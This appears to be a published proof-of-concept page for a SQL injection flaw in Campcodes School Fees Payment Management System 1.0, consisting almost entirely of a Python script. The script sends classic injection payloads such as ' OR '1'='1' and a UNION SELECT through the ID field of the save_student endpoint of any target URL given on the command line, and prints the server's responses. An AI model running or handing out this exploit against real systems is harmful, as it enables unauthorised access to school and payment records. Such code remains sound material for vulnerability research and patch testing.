CVE-2025-13057: Campcodes School Fees Payment Management System 1.0 SQL注入漏洞

import requests import sys # CVE-2025-13057 PoC - SQL Injection in Campcodes School Fees Payment Management System # Target: /ajax.php?action=save_student def exploit_sql_injection(target_url, payload): """ Exploit SQL injection vulnerability in Campcodes School Fees Payment Management System target_url: Base URL of the vulnerable application payload: SQL injection payload to execute """ # Prepare the malicious request params = { 'action': 'save_student' } # Malicious data with SQL injection in ID parameter data = { 'ID': payload, # SQL injection point 'firstname': 'test', 'lastname': 'test', 'middlename': 'test', 'gender': 'Male', 'dob': '2020-01-01', 'address': 'test', 'email': '[email protected]', 'phone': '1234567890' } try: response = requests.post( f'{target_url}/ajax.php', params=params, data=data, timeout=10 ) return response.text except requests.exceptions.RequestException as e: return f'Request failed: {str(e)}' def basic_authentication_bypass(target_url): """ Basic authentication bypass using common SQL injection techniques """ # Common SQL injection payloads for authentication bypass payloads = [ "' OR '1'='1", "' OR '1'='1' --", "admin' --", "1' UNION SELECT 1,2,3,4,5,6,7,8 --" ] print(f'[*] Testing SQL injection on {target_url}') for payload in payloads: print(f'[*] Testing payload: {payload}') result = exploit_sql_injection(target_url, payload) print(f'[*] Response: {result[:200]}...') if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-13057.py <target_url>') print('Example: python cve-2025-13057.py http://target.com/school') sys.exit(1) target = sys.argv[1] basic_authentication_bypass(target)